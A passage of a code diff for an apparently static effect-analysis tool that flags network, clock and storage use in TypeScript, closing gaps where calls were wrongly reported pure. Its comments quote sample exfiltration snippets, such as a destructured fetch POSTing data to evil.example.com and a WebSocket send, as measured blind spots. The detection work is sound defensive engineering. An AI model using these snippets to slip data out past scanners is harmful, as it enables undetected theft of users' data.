+ * the resolution record and not a path test.
5668
+ * WHERE IT FAILS: too narrow ⇒ this arm stops charging Net for a real dependency reached WITHOUT
5669
+ * node module resolution (a tsconfig `paths` alias; a dependency copy vendored into the tree).
5670
+ * Such a call does NOT go silent — `crossesPackageBoundary` still governs the κ-coverage ledger, so
5671
+ * it keeps `invisible:[pkg]`, the honest answer for a body this scan never read (measured: the
5672
+ * shim row above carries `invisible:["vendor-shim"]` with and without this narrowing). Bounded, in
5673
+ * the other direction, to declarations that are both module-scoped and not a resolved dependency —
5674
+ * the project's own source, which candor analyses as its own units and reaches by an EDGE rather
5675
+ * than by this arm. That is the same bargain guard (2) already makes for `projectFiles`, extended
5676
+ * to the project files a given scan's shape happens to leave out.
5677
+ * 4. SHAPED LIKE THE WEB FETCH — returns `Promise<Response>`. Not a new judgement: it is the identical
5678
+ * question the import arm above already asks of the identical authority, and it exists because a
5679
+ * package exporting a pure `fetch(key)` cache-getter was once charged Net on its name alone.
5680
+ *
5681
+ * NOT a `.d.ts` file test: an ambient declaration is what (1) already asks for, and a file-extension
5682
+ * test would add a second, weaker spelling of the same question. */
5683
+ // Is this declaration in GLOBAL scope — `declare global { … }`, or the top level of a source file that
5684
+ // is not an external module? Everything else is reachable only through an import and is therefore some
5685
+ // module's own export, never the host global.
5686
+ const declaredInGlobalScope = (d) => {
5687
+ for (let n = d.parent; n; n = n.parent) {
5688
+ if (ts.isModuleDeclaration(n)) return !!(n.flags & ts.NodeFlags.GlobalAugmentation);
5689
+ if (ts.isSourceFile(n)) return !ts.isExternalModule(n);
5690
+ }
5691
+ return false;
5692
+ };
5693
+ // ⟨R138⟩ Was this declaration's file reached AS A DEPENDENCY — i.e. through node module resolution
5694
+ // from a bare specifier — rather than through a relative path? `ts.Program` records this while it
5695
+ // resolves, so this is the compiler's own answer to the question, not a second reading of the tree.
5696
+ // Guarded because a declaration synthesised outside the program has no source file the program knows.
5697
+ const declReachedAsDependency = (d) => {
5698
+ try { return program.isSourceFileFromExternalLibrary(d.getSourceFile()); } catch { return false; }
5699
+ };
5700
+ const resolvedIsHostFetch = (call) => {
5701
+ if (!ts.isCallExpression(call)) return false;
5702
+ let sig; try { sig = checker.getResolvedSignature?.(call); } catch { return false; }
5703
+ const d = sig?.declaration;
5704
+ if (!d || !ts.isFunctionDeclaration(d) || d.body) return false; // (1)
5705
+ if (d.name?.text !== "fetch") return false; // (1)
5706
+ const df = path.resolve(d.getSourceFile().fileName);
5707
+ if (projectFiles.has(df)) return false; // (2)
5708
+ if (!declaredInGlobalScope(d) && !declReachedAsDependency(d)) return false; // (3)
5709
+ let rt; try { rt = checker.typeToString(checker.getReturnTypeOfSignature(sig)); } catch { return false; }
5710
+ return /\bResponse\b/.test(rt); // (4)
5711
+ };
5712
+
4961
5713
  // A bare-identifier call whose callee is DEFAULT- or NAMED-imported from a known HTTP-client package is a
4962
5714
  // Net call (corpus-audit #13). The κ table lists these packages, but its rule only fires on a MEMBER call
4963
5715
  // (`axios.get(…)`); a default-imported callable invoked bare — the canonical `import fetch from 'node-fetch';
@@ -4992,6 +5744,22 @@ function visitCalls(node) {
4992
5744
  const rec = fns.get(owner);
4993
5745
  const sig = checker.getResolvedSignature(node);
4994
5746
  let decl = sig && sig.declaration;
5747
+ // ⟨R103⟩ A WRITABLE SLOT IS AN INCOMPLETE CANDIDATE SET — see `openCallSlot`, and see the class-
5748
+ // override fan-out below, which is the authority this converges on rather than a second rule: it
5749
+ // edges to every candidate it CAN name and adds `Unknown` when the set it enumerated is not
5750
+ // provably the whole one (⟨0.35⟩ "A NON-EMPTY CANDIDATE SET IS NOT A COMPLETE ONE"). A slot's
5751
+ // candidate set is exactly that shape — {the initializer} ∪ {whatever wrote it} — so the
5752
+ // resolution below runs UNCHANGED and this only ADDS.
5753
+ //
5754
+ // ADDITIVE ON PURPOSE, and this was measured, not assumed. The first cut REPLACED the resolution
5755
+ // instead of joining it, and the hono A/B caught it: `hc` went `["Clock","Net","Unknown"]` →
5756
+ // `["Net","Unknown"]`, because dropping the edge to `ClientRequestImpl.fetch` discarded the one
5757
+ // body we CAN see. That flips `deny Clock` from exit 1 to exit 0 — a fix for a silent under-report
5758
+ // introducing a silent under-report, which is this project's most-measured way to get it wrong.
5759
+ // Union cannot do that: no effect is ever removed, so no firing gate can go green. The price is
5760
+ // that the fabrication direction (`private h = fsThing; this.h = pureArrow` charging Fs) is only
5761
+ // DISCLOSED by the added `Unknown`, not cured. That is the right side to be wrong on.
5762
+ const slotCallee = decl ? openCallSlot(node) : null;
4995
5763
  if (!decl) {
4996
5764
  // `new C()` on a class with an IMPLICIT constructor resolves to no declaration — edge to
4997
5765
  // the class's (synthesized) ctor unit via the class identifier before concluding Unknown.
@@ -5381,8 +6149,15 @@ function visitCalls(node) {
5381
6149
  let allResolved = true;
5382
6150
  const targets = [];
5383
6151
  for (const cls of impls) {
5384
- const m = (cls.members ?? []).find((x) =>
5385
- (ts.isMethodDeclaration(x) || ts.isPropertyDeclaration(x)) && x.name?.getText?.() === member);
6152
+ // ⟨0.35, PART 87 fix⟩ `cls` may be a ClassDeclaration/ClassExpression (`.members`) OR
6153
+ // a structural implementor — an ObjectLiteralExpression (`.properties`) registered by
6154
+ // the structural-implementor pass above. A PropertyAssignment (`go: () => …`) is the
6155
+ // object-literal spelling `ts.isMethodDeclaration`/`ts.isPropertyDeclaration` alone
6156
+ // don't match; accepted here alongside them.
6157
+ const memberNodes = cls.members ?? cls.properties ?? [];
6158
+ const m = memberNodes.find((x) =>
6159
+ (ts.isMethodDeclaration(x) || ts.isPropertyDeclaration(x) || ts.isPropertyAssignment(x))
6160
+ && x.name?.getText?.() === member);
5386
6161
  const t = m && nodeName.get(m);
5387
6162
  if (t) targets.push(t);
5388
6163
  else allResolved = false;
@@ -5435,7 +6210,27 @@ function visitCalls(node) {
5435
6210
  rec.direct.add("Unknown");
5436
6211
  rec.why.add("reflect:eval"); // eval executes a runtime-supplied string — canonical `reflect:`
5437
6212
  }
5438
- if ((parent === "DateConstructor" && name === "now") || (parent === "Performance" && name === "now"))
6213
+ // R111 — the `Performance` member set is the SHARED constant, not a literal repeated here.
6214
+ // `performance.mark("m")` and `performance.measure("m")` read the clock and reported nothing
6215
+ // under lib.dom AND under `@types/node` — a member-coverage gap that was invisible precisely
6216
+ // BECAUSE the two resolution paths agreed, which is the third way this pair of tables has now
6217
+ // been wrong (R109 lib.dom-silent, R110 node-silent, R111 both-silent-together). Importing
6218
+ // `CLOCK_READING_PERFORMANCE_MEMBERS` rather than restating the names is the smallest thing
6219
+ // that makes their AGREEMENT mean anything: the two arms can no longer be widened separately,
6220
+ // which is the single degree of freedom that produced all three rows. Ground truth is EXECUTED
6221
+ // and recorded at the constant, together with the members deliberately NOT charged (`timerify`,
6222
+ // `toJSON`, `timeOrigin`, the `getEntries*` surface) and the measurement for each.
6223
+ // `DateConstructor.now` is NOT part of that set and keeps its own test: it is a different
6224
+ // interface with a different member list, and sharing a predicate between them would be a name
6225
+ // collision dressed up as a shared question.
6226
+ // R114 — the `Console` timer members, the lib.dom twin of the `(node:)?console` κ rule, reading
6227
+ // the SAME exported set for the same reason the `Performance` pair does. A project whose `lib`
6228
+ // includes DOM but which has no `@types/node` resolves `console.time` into `lib.dom.d.ts`, where
6229
+ // it is declared on `interface Console` — so without this arm the fix would have landed on one
6230
+ // resolution path only, which is R109/R110's entire failure mode.
6231
+ if ((parent === "DateConstructor" && name === "now")
6232
+ || (parent === "Performance" && CLOCK_READING_PERFORMANCE_MEMBERS.test(name))
6233
+ || (parent === "Console" && CLOCK_READING_CONSOLE_MEMBERS.test(name)))
5439
6234
  rec.direct.add("Clock");
5440
6235
  if (parent === "Math" && name === "random") rec.direct.add("Rand");
5441
6236
  if (ts.isNewExpression(node) && (node.arguments ?? []).length === 0
@@ -5471,6 +6266,21 @@ function visitCalls(node) {
5471
6266
  else rec.incomplete.add("Net");
5472
6267
  }
5473
6268
  }
6269
+ // R130 — the WIRE verbs of an ALREADY-OPEN `WebSocket`/`EventSource`, which were silently pure
6270
+ // in BOTH arms. The `new WebSocket(url)` branch below charges the CONNECT; nothing charged the
6271
+ // bytes, so a function handed an open socket read PURE with no `invisible` and no `Unknown` —
6272
+ // an omission, which under SPEC §2 rule 3 is a positive purity claim over an exfiltration
6273
+ // primitive. MEASURED on PUBLISHED 0.34.0, in ISOLATION (no other Net call in the file):
6274
+ // export function exfil(w: WebSocket, s: string): void { w.send(s); }
6275
+ // lib.dom -> ABSENT from `functions` all five policy forms -> exit 0
6276
+ // Ground truth EXECUTED against a real 127.0.0.1 listener: the frame arrives, payload intact.
6277
+ // This engine already charges `XMLHttpRequest.send` for exactly this operation eight lines up,
6278
+ // and κ's whole-module `net` rule already charges `socket.write`/`socket.end` — so the gap was
6279
+ // one API's spelling, not a decision. A USE-VERB: the endpoint was fixed at construction, so it
6280
+ // must NOT mark `incomplete` (the XHR `send` note above) and its argument 0 must NOT be read as
6281
+ // a host (NET_USE_VERBS at urlArgLiteral — arg0 is the payload).
6282
+ if ((parent === "WebSocket" || parent === "EventSource") && WEB_WIRE_MEMBERS.test(name))
6283
+ rec.direct.add("Net");
5474
6284
  // `navigator.sendBeacon(url, data)` — Net, and the one this set most needed. It exists to POST
5475
6285
  // data to a server on page-unload, it is what analytics and telemetry reach for, and it read
5476
6286
  // PURE: `deny Net` answered exit 0 over
@@ -5505,17 +6315,77 @@ function visitCalls(node) {
5505
6315
  if (parent === "Crypto" && (name === "getRandomValues" || name === "randomUUID")) {
5506
6316
  rec.direct.add("Rand");
5507
6317
  }
6318
+ // Web Storage — `localStorage`/`sessionStorage`. THE SAME es-lib/@types-node SPLIT the `Crypto`
6319
+ // line above exists for, and the half that was still open: @types/node's `web-globals/storage`
6320
+ // is deliberately absent from `NODE_CORE_REVIEWED`, so under `types: ["node"]` with `lib` not
6321
+ // including DOM the call fails closed as `Unknown[native:web-globals/storage.setItem]` and
6322
+ // `deny Unknown` exits 1. Resolve the SAME LINE through lib.dom — which is what `lib: ["…","DOM"]`
6323
+ // gives, and also what the DEFAULT `lib` for any ES target gives, so it is the common case, not
6324
+ // the exotic one — and it landed on the conventionally-pure arm below with no branch of its own:
6325
+ // export function stash(secret: string) { localStorage.setItem("token", secret); }
6326
+ // lib.dom → functions: [] deny Unknown → exit 0 (silent under-report)
6327
+ // @types/node → Unknown[native:…] deny Unknown → exit 1
6328
+ // One line, two answers, selected by tsconfig. Ground-truthed by EXECUTION under a `Storage`
6329
+ // shim: the write really happens. Converging on the fail-closed answer is the only direction
6330
+ // that is sound in both configs.
6331
+ //
6332
+ // KEYED ON THE RESOLVED DECLARATION'S PARENT (`Storage`), NOT ON THE IDENTIFIER TEXT. Keying on
6333
+ // the name `localStorage` would miss `window.localStorage`, `sessionStorage` (lib.dom declares
6334
+ // BOTH as `: Storage`, so both fall out of this one predicate — measured, not assumed) and a
6335
+ // `Storage`-typed parameter, and would fabricate on a user-defined binding called
6336
+ // `localStorage`. Reaching this arm already proves the declaration is `typescript/lib/lib.*.d.ts`
6337
+ // (`declModule`), so a project's own `class Storage` resolves `<local>` and is never charged.
6338
+ //
6339
+ // THE WHOLE INTERFACE, not a verb list: reads persist across sessions and origins just as writes
6340
+ // do, and an unlisted member would be silently pure — the denylist direction, matching what the
6341
+ // node floor already does for every member of that file. `Unknown` rather than `Fs` because the
6342
+ // backing store is not modelled (a browser's is not a filesystem, node's is a file); this is the
6343
+ // node arm's answer, verbatim, which is the point. Reason names the interface actually resolved
6344
+ // — `native:Storage.setItem` — rather than borrowing the node arm's file path, which no DOM-only
6345
+ // project has; both map to reason class `native`, so `Unknown[native]` gates identically.
6346
+ // NOT a claim about the whole DOM surface: `StorageManager.getDirectory` (OPFS), `IDBFactory`,
6347
+ // `caches` and the `localStorage.x = v` INDEX-SIGNATURE spelling are untouched and still pure —
6348
+ // the last of those is pure under @types/node too, so it is not part of this split.
6349
+ if (parent === "Storage") {
6350
+ rec.direct.add("Unknown");
6351
+ rec.why.add(`native:Storage.${name}`);
6352
+ }
5508
6353
  // `new EventSource(url)` / `new WebSocket(url)`: the constructor is declared on an anonymous
5509
6354
  // `declare var` object type (symbol `__type`, no usable parent name), but reaching the es-lib
5510
6355
  // branch already proves the ctor resolved to lib.dom (not a project class shadowing the name),
5511
6356
  // so the constructed identifier is the real browser global.
6357
+ // R130 — …AND THROUGH `extends`, which is a third spelling neither of the two above can see.
6358
+ // `super(url)` is a CallExpression, so the `isNewExpression` gate below is false; its resolved
6359
+ // declaration is the BASE's construct signature, whose `.name` and whose parent type literal's
6360
+ // name are both empty, so the `parent`/`name` branches above see `""` too. FOUND ON REAL CODE
6361
+ // by re-scanning a corpus under a node-style tsconfig — crossws `src/websocket/bun.ts`:
6362
+ // const _WebSocket = globalThis.WebSocket;
6363
+ // class BunWebSocket extends _WebSocket {
6364
+ // constructor(url, protocols, options) { super(url, protocols); … } }
6365
+ // which dials `url`, and whose constructor candor reported with NO effect at all. The class name
6366
+ // comes from the DECLARATION (`declaredCtorClassName`), never from the `extends` expression:
6367
+ // that expression is an alias here, and reaching this arm already proves the base resolved to
6368
+ // lib.dom rather than to a project class of the same name.
6369
+ if (isSuperCall(node) && CONNECTING_WEB_CTORS.test(declaredCtorClassName(decl))) {
6370
+ rec.direct.add("Net");
6371
+ const u = (node.arguments ?? [])[0];
6372
+ const lit = u && ts.isStringLiteralLike(u)
6373
+ ? u.text : (u ? (resolveConstUrlString(u) ?? literalHeadHostUrl(u)) : null);
6374
+ const h = lit ? hostLiteral(lit) : null;
6375
+ if (h) { rec.hosts.add(h); for (const e of modelHostEffects(h)) rec.direct.add(e); }
6376
+ else rec.incomplete.add("Net");
6377
+ }
5512
6378
  if (ts.isNewExpression(node)) {
5513
6379
  // …through an alias too: `const W = WebSocket; new W(url)` reads a ctor named "W".
5514
6380
  // Same defect as the call path, one node type over — hence the SHARED unwrap.
5515
6381
  const unCtor = unaliasGlobal(node.expression);
5516
6382
  const ctorName = unCtor.node.getText();
5517
6383
  if (unCtor.truncated) { const o = enclosing(node); if (o) fns.get(o).direct.add("Unknown"); }
5518
- if (ctorName === "EventSource" || ctorName === "WebSocket") {
6384
+ // R130 — the SHARED constant, not a literal pair repeated here. The identical two names are
6385
+ // now κ rules for `undici-types` (the package `@types/node` re-exports these globals from),
6386
+ // and this arm and that table answering the same question from two hand-kept lists is the
6387
+ // single degree of freedom that produced R109, R110 and R111. Measurements at the constant.
6388
+ if (CONNECTING_WEB_CTORS.test(ctorName)) {
5519
6389
  rec.direct.add("Net");
5520
6390
  // The URL is argument 0 of both constructors — see the XHR note above for the measurement.
5521
6391
  const u = (node.arguments ?? [])[0];
@@ -5539,6 +6409,11 @@ function visitCalls(node) {
5539
6409
  // needs no entry here. Inert ctors (Agent/Server/Socket/TLSSocket/Http2Server*/message shells)
5540
6410
  // still synthesize "new" and stay pure.
5541
6411
  const CONNECTING_CTORS = new Set(["ClientRequest"]);
6412
+ // R130 — `new WebSocket(url)` / `new EventSource(url)` are the same shape as `ClientRequest`:
6413
+ // the connection is opened BY the construction, so the blanket `new`-exemption would convert a
6414
+ // real Net source into pure. Read from the SHARED constant the es-lib arm reads, so the two
6415
+ // resolution paths cannot be widened separately.
6416
+ const isConnectingCtor = (n) => CONNECTING_CTORS.has(n) || CONNECTING_WEB_CTORS.test(n);
5542
6417
  // Host-ESTABLISHING Net call names (the masking-fix allowlist): a Net call by one of these whose
5543
6418
  // host is not a captured literal leaves the host invisible. Excludes use-verbs (write/end/send on
5544
6419
  // a connected socket). `post/put/patch/delete/head/options` cover the axios/got/undici tier whose
@@ -5569,8 +6444,10 @@ function visitCalls(node) {
5569
6444
  "fchmodSync", "fchown", "fchownSync", "futimes", "futimesSync", "fstat", "fstatSync",
5570
6445
  "readv", "readvSync", "writev", "writevSync"]);
5571
6446
  const EXEC_USE_VERBS = new Set(["kill", "send", "disconnect", "ref", "unref"]);
6447
+ // `ctorRuleName` (below) rather than `ctorClassName`: a connecting ctor reached through a local
6448
+ // alias must still fail the surface closed on a runtime URL. Evaluated at call time, after it.
5572
6449
  const netEstablishing = (member) =>
5573
- CONNECTING_CTORS.has(ctorClassName) || NET_ESTABLISHING.has(member)
6450
+ isConnectingCtor(ctorRuleName) || NET_ESTABLISHING.has(member)
5574
6451
  || (/^(node:)?dgram$/.test(mod) && member === "send");
5575
6452
  // ⟨0.32⟩ THE CLASS BEING CONSTRUCTED, TAKEN FROM THE `new` EXPRESSION rather than from the
5576
6453
  // resolved constructor. A class that declares no constructor of its own INHERITS one, and
@@ -5614,8 +6491,31 @@ function visitCalls(node) {
5614
6491
  && p.name && ts.isIdentifier(p.name)) return p.name.getText();
5615
6492
  return "";
5616
6493
  };
5617
- const member = isConstruction
5618
- ? (CONNECTING_CTORS.has(ctorClassName) ? ctorClassName : "new")
6494
+ // R130 — THE NAME A CONNECTING CONSTRUCTION IS JUDGED BY, when the `new` expression's own
6495
+ // identifier is a LOCAL ALIAS. `ctorClassName` is read from the call site (⟨0.32⟩, for a good
6496
+ // reason: an inherited constructor lives in the base's file), so `const W = WebSocket; new W(u)`
6497
+ // names the class "W" and no rule can match — the es-lib arm handles that spelling with
6498
+ // `unaliasGlobal` and this arm had nothing. The authority for a construction's identity is the
6499
+ // `export declare const X: { new (…): X }` binding the construct signature sits inside, so walk
6500
+ // to it: ConstructSignature -> TypeLiteral -> VariableDeclaration. Consulted ONLY when the
6501
+ // call-site name is not already a connecting ctor, and its answer is used only when it IS one —
6502
+ // so it can add a name to the connecting set and can never take one away, and `new Headers()`
6503
+ // (binding name "Headers", no rule) is unchanged. A `class`-declared ctor (`ClientRequest`) has
6504
+ // a ClassDeclaration parent, not a TypeLiteral, and never reaches this.
6505
+ //
6506
+ // …AND THE SAME WALK ANSWERS THE `extends` SPELLING, which is neither a NewExpression nor a
6507
+ // named member. `class BunWebSocket extends globalThis.WebSocket { constructor(u){super(u)} }`
6508
+ // (crossws, real code) resolves `super(u)` to `undici-types`' construct signature: `member`
6509
+ // came out `""`, no rule could match, and a constructor that DIALS A URL reported nothing.
6510
+ // `isConstruction` is deliberately NOT widened to include super-calls — that would re-key every
6511
+ // `super()` into an external base onto the token `new` and hand the whole-module κ rules and the
6512
+ // node-core floor a call they have never been asked about. The name is used ONLY when it is a
6513
+ // connecting ctor, so this can add nothing else.
6514
+ const ctorRuleName = !(isConstruction || isSuperCall(node)) || isConnectingCtor(ctorClassName)
6515
+ ? ctorClassName
6516
+ : (isConnectingCtor(declaredCtorClassName(decl)) ? declaredCtorClassName(decl) : ctorClassName);
6517
+ const member = isConnectingCtor(ctorRuleName) ? ctorRuleName
6518
+ : isConstruction ? "new"
5619
6519
  : (decl.name ? decl.name.getText() : bindingName(decl));
5620
6520
  // ⟨0.32⟩ THE MODULE κ IS READ AGAINST — `mod` for everything except a construction whose
5621
6521
  // constructor came from somewhere else, which is re-keyed onto the CLASS's own module.
@@ -5647,6 +6547,23 @@ function visitCalls(node) {
5647
6547
  // node_modules-installed dependency of the same name is untouched: `isOwnPackageDecl` excludes
5648
6548
  // `node_modules/` outright, before the name is ever compared.
5649
6549
  let eff = isOwnPackageDecl(decl) ? null : kappa(kMod, member); // (CLASSIFY)
6550
+ // R114 — AND WHEN κ WAS ASKED ABOUT THE EMPTY TOKEN, ASK AGAIN WITH THE NAME AT THE CALL SITE.
6551
+ // A member declared as a CALL SIGNATURE on its own interface — `hrtime: HRTime`,
6552
+ // `memoryUsage: MemoryUsageFn` in `process.d.ts` — resolves to a declaration with no `.name`,
6553
+ // so `member` is `""`. Two comments in this family already say so ("`\"\"` is the token a CALL
6554
+ // SIGNATURE on an interface resolves to"), and the floor lists `""` as reviewed-pure — which is
6555
+ // how `import * as p from "node:process"; p.hrtime()` stayed SILENT while the identical global
6556
+ // `process.hrtime()` charged Clock. Same one-line-two-answers shape as R109/R110, reached
6557
+ // through the TOKEN rather than through the tsconfig.
6558
+ //
6559
+ // ONLY WHEN THE FIRST LOOKUP ANSWERED NOTHING, which makes this strictly ADDITIVE: it cannot
6560
+ // move a call off an effect a rule already gave it, and in particular it cannot walk a
6561
+ // net-cluster call into that module's exemption list — the direction that would hide something.
6562
+ // `memoryUsage`, `resourceUsage`, `cpuUsage` and `require` resolve the same way and are
6563
+ // unaffected: no κ rule names them, and the floor below is still asked with the original `""`.
6564
+ if (!eff && member === "" && !isOwnPackageDecl(decl)
6565
+ && ts.isPropertyAccessExpression(node.expression) && node.expression.name)
6566
+ eff = kappa(kMod, node.expression.name.text);
5650
6567
  // process.stdout/stderr/stdin are typed `tty.WriteStream`, which EXTENDS `net.Socket`, so a
5651
6568
  // `.write()`/`.end()` on them resolves to `net.Socket.write` and the whole-module Net rule
5652
6569
  // paints it Net. But a console write to fd 0/1/2 is TTY/console I/O, NOT network — there is no
@@ -5870,10 +6787,20 @@ function visitCalls(node) {
5870
6787
  // already ran its own chained-dep lookup above (`inheritedFromDep`, with its constructor/
5871
6788
  // owner-prefix spelling), so it hands the tail an already-external, already-unmatched `decl`
5872
6789
  // rather than re-deriving the join.
5873
- disclosureTail(rec, decl, pkg, file);
6790
+ disclosureTail(rec, decl, pkg, file, member);
5874
6791
  }
5875
6792
  }
5876
6793
  }
6794
+ // ⟨R103⟩ …and the slot's own answer, JOINED to whatever the resolution above concluded — the same
6795
+ // statement whether the initializer resolved to a local unit, to a dependency, or to a κ-classified
6796
+ // package member. It does NOT fire when `decl` was null, and that is the guard above, not an
6797
+ // oversight: an unresolvable call already lands on `Unknown` with its own `callback:` reason, so
6798
+ // firing here would add nothing to the report while making the hit counter count rows that did not
6799
+ // change — and a hit count that is not a count of CHANGES cannot price the fix.
6800
+ if (slotCallee) {
6801
+ rec.direct.add("Unknown");
6802
+ rec.why.add(`callback:${slotCallee}`); // a function VALUE read out of a writable slot — canonical `callback:`
6803
+ }
5877
6804
  // the callee EXPRESSION being a plain identifier of function-typed parameter/field:
5878
6805
  // a PARAMETER defers to callback-flow resolution (below) — if every call site of this
5879
6806
  // function passes a NAMED local unit, the invocation resolves to those targets; otherwise
@@ -5981,7 +6908,16 @@ function visitCalls(node) {
5981
6908
  return null;
5982
6909
  };
5983
6910
  const pmp = processMemberPath();
5984
- if (pmp === "hrtime" || pmp === "hrtime.bigint") geff = "Clock"; // a monotonic clock read
6911
+ // R114 — THE MEMBER SET IS THE SHARED CONSTANT, read on the LAST segment of the path. This arm and
6912
+ // the `(node:)?process` κ rule in scan-core.mjs are two implementations of one question, and before
6913
+ // this they DISAGREED: this arm charged `process.hrtime.bigint()` Clock while the κ floor listed
6914
+ // `hrtime`/`bigint` as reviewed-pure, so the global spelling answered `["Clock"]` and the imported
6915
+ // spelling answered silent-pure — one line, two answers, selected by how you reach `process`.
6916
+ // Importing the set is what makes their agreement mean something (R111's fix shape, applied to the
6917
+ // pair that was actually inconsistent rather than to the one that happened to be noticed).
6918
+ // The last segment is the token κ is asked about: `hrtime` -> "hrtime", `hrtime.bigint` -> "bigint",
6919
+ // `uptime` -> "uptime". `send` is NOT in the set and keeps its own Ipc line below.
6920
+ if (pmp && CLOCK_READING_PROCESS_MEMBERS.test(pmp.split(".").pop())) geff = "Clock"; // a monotonic clock read
5985
6921
  else if (pmp === "send") geff = "Ipc"; // the child↔parent IPC channel
5986
6922
  else if (ts.isIdentifier(callee) && importedFromNetPkg(callee))
5987
6923
  geff = "Net"; // a bare call to an HTTP-client default/named import (installed → sig resolves here) — #13
@@ -6048,6 +6984,35 @@ function visitCalls(node) {
6048
6984
  // `eval` global-qualifier handling (a runtime global a project would not shadow).
6049
6985
  else if (ctext === "globalThis.fetch" || ctext === "window.fetch" || ctext === "self.fetch")
6050
6986
  geff = "Net";
6987
+ // ⟨R95⟩ …AND EVERY OTHER SPELLING, BY ASKING THE RESOLVED DECLARATION INSTEAD OF THE CALLEE.
6988
+ //
6989
+ // Every arm above keys on the CALLEE's own identity — its node text, or its symbol's declaration
6990
+ // file. That question has now been wrong in five spellings, all MEASURED silent at 0b360d4 and all
6991
+ // five confirmed to reach the network by executing them against a localhost listener:
6992
+ //
6993
+ // const { fetch } = globalThis; fetch(u) const { fetch: f } = globalThis; f(u)
6994
+ // const g = globalThis; g.fetch(u) (0, fetch)(u)
6995
+ // const a = [fetch]; a[0](u)
6996
+ //
6997
+ // Each one binds `fetch` to a declaration INSIDE a project file — a BindingElement, a
6998
+ // VariableDeclaration — which is precisely what the shadow guard above reads as "the project's own
6999
+ // fetch", so the guard withheld Net. `deny Net`, `deny Unknown`, `deny Net Unknown`, `pure`, and
7000
+ // both scoped forms all answered exit 0, `policy ✓`, 0 effectful functions over
7001
+ // const { fetch } = globalThis;
7002
+ // await fetch("https://evil.example.com/collect", { method: "POST", body: data });
7003
+ //
7004
+ // `crypto` does NOT have this hole, and the difference is the MECHANISM, not the effect: its arms
7005
+ // key on the RESOLVED DECLARATION (the es-lib `parent === "Crypto"` arm below, and κ's
7006
+ // `web-globals/crypto` rule), so a destructured `crypto` still resolves to `Crypto.randomUUID` and
7007
+ // is charged. Converge on that rather than patching the identity gate a sixth time — brief §G, ask
7008
+ // the authority: the checker already knows which function this call reaches, and it answers the
7009
+ // same for all five spellings above (verified: one declaration, `web-globals/fetch.d.ts:23`).
7010
+ //
7011
+ // ADDITIVE, and last in the chain on purpose. Every arm above keeps priority, so no call that is
7012
+ // Net today can stop being Net and no host capture below changes for a call that already matched
7013
+ // (the previous ts fix in this vein REPLACED a resolution where it should have unioned, and cost
7014
+ // hono's `hc` its `Clock`). This arm can only ADD Net to calls that are reported PURE today.
7015
+ else if (resolvedIsHostFetch(node)) geff = "Net";
6051
7016
  // An alias chain this helper stopped following is an UNRESOLVED callee, not a pure one.
6052
7017
  if (un.truncated) { const o = enclosing(node); if (o) fns.get(o).direct.add("Unknown"); }
6053
7018
  if (geff) {
@@ -6156,7 +7121,7 @@ function visitCalls(node) {
6156
7121
  if (callee.getText().replace(/\s+/g, "") === "Object.assign") {
6157
7122
  const owner = enclosing(node);
6158
7123
  for (const src of (node.arguments ?? []).slice(1)) {
6159
- enumerateGetters(owner, checker.getTypeAtLocation(src));
7124
+ enumerateGetters(owner, checker.getTypeAtLocation(src), src);
6160
7125
  }
6161
7126
  }
6162
7127
  }
@@ -6229,7 +7194,7 @@ function visitCalls(node) {
6229
7194
  if (owner) {
6230
7195
  const recvType = checker.getTypeAtLocation(node.initializer);
6231
7196
  for (const el of node.name.elements) {
6232
- if (el.dotDotDotToken) { enumerateGetters(owner, recvType); continue; } // `...rest` copies every
7197
+ if (el.dotDotDotToken) { enumerateGetters(owner, recvType, node.initializer); continue; } // `...rest` copies every
6233
7198
  // remaining prop → invokes every (remaining) getter; enumerate all (the bound ones double-handle).
6234
7199
  const key = el.propertyName ?? el.name; // `{prop}` shorthand, or `{prop: alias}`
6235
7200
  const keyName = ts.isIdentifier(key) ? key.text
@@ -6252,7 +7217,7 @@ function visitCalls(node) {
6252
7217
  iterExpr = node.expression; // {...bag} — object spread is NOT iteration (copies own enumerable
6253
7218
  // props, no [Symbol.iterator]); wellKnownSymbolMember finds none and edges nothing for iteration.
6254
7219
  // But the copy DOES invoke each source getter — enumerate them (the silent-pure object-spread hole).
6255
- enumerateGetters(enclosing(node), checker.getTypeAtLocation(node.expression));
7220
+ enumerateGetters(enclosing(node), checker.getTypeAtLocation(node.expression), node.expression);
6256
7221
  }
6257
7222
  else if (ts.isVariableDeclaration(node) && ts.isArrayBindingPattern(node.name) && node.initializer)
6258
7223
  iterExpr = node.initializer; // const [a] = bag
@@ -7243,9 +8208,22 @@ if (process.env.CANDOR_WORKSPACE_CHAIN) {
7243
8208
  // the candor-scan `lt.count > 1` / candor-swift ownersByTail guards.
7244
8209
  // The union arms, normalised to [InterfaceDeclaration, implementing class NAMES]: the in-scan CHA
7245
8210
  // universe, plus the same relation read out of a PUBLISHED package's own typings (see below).
8211
+ //
8212
+ // ⟨CARDINAL SIN FIX audit, PART 87 follow-up, 2026-09-01⟩ `interfaceImpls` (since PART 87) also holds
8213
+ // STRUCTURAL implementors — an ObjectLiteralExpression/ClassExpression/bound-ref target has no `.name`
8214
+ // at all, so `.filter(Boolean)` drops it here. This union is fundamentally NAME-keyed (a cross-package
8215
+ // consumer resolves `pkg#Iface.member` against a class NAME in the dependency's own source, and
8216
+ // `localEffs` below is keyed `${className}.${member}` — an anonymous implementor's effects have no
8217
+ // name to be looked up under even if kept in the array). Rather than silently union only the implementors
8218
+ // that happen to have a name — which reads "pure across all impls" when a dropped, unnamed one might
8219
+ // not be — record whether any implementor was dropped, so the emission loop below can force the SAME
8220
+ // honest-Unknown widening it already applies when CHA_FANOUT_LIMIT is exceeded, instead of a narrower
8221
+ // claim than the evidence supports.
7246
8222
  const unionArms = [];
7247
- for (const [ifaceDecl, implClasses] of interfaceImpls)
7248
- unionArms.push([ifaceDecl, implClasses.map((c) => c.name?.text).filter(Boolean)]);
8223
+ for (const [ifaceDecl, implClasses] of interfaceImpls) {
8224
+ const names = implClasses.map((c) => c.name?.text).filter(Boolean);
8225
+ unionArms.push([ifaceDecl, names, names.length < implClasses.length]);
8226
+ }
7249
8227
  const inScanClassesByName = new Map(); // iface NAME -> every class the in-scan arms register under it
7250
8228
  for (const [d, cls] of unionArms) {
7251
8229
  const n = d.name?.text;
@@ -7309,9 +8287,15 @@ if (process.env.CANDOR_WORKSPACE_CHAIN) {
7309
8287
  const n = ifaceDecl.name?.text;
7310
8288
  if (n) ifaceNameCounts.set(n, (ifaceNameCounts.get(n) ?? 0) + 1);
7311
8289
  }
7312
- for (const [ifaceDecl, implClasses] of unionArms) {
8290
+ for (const [ifaceDecl, implClasses, hadUnnamed] of unionArms) {
7313
8291
  const ifaceName = ifaceDecl.name?.text;
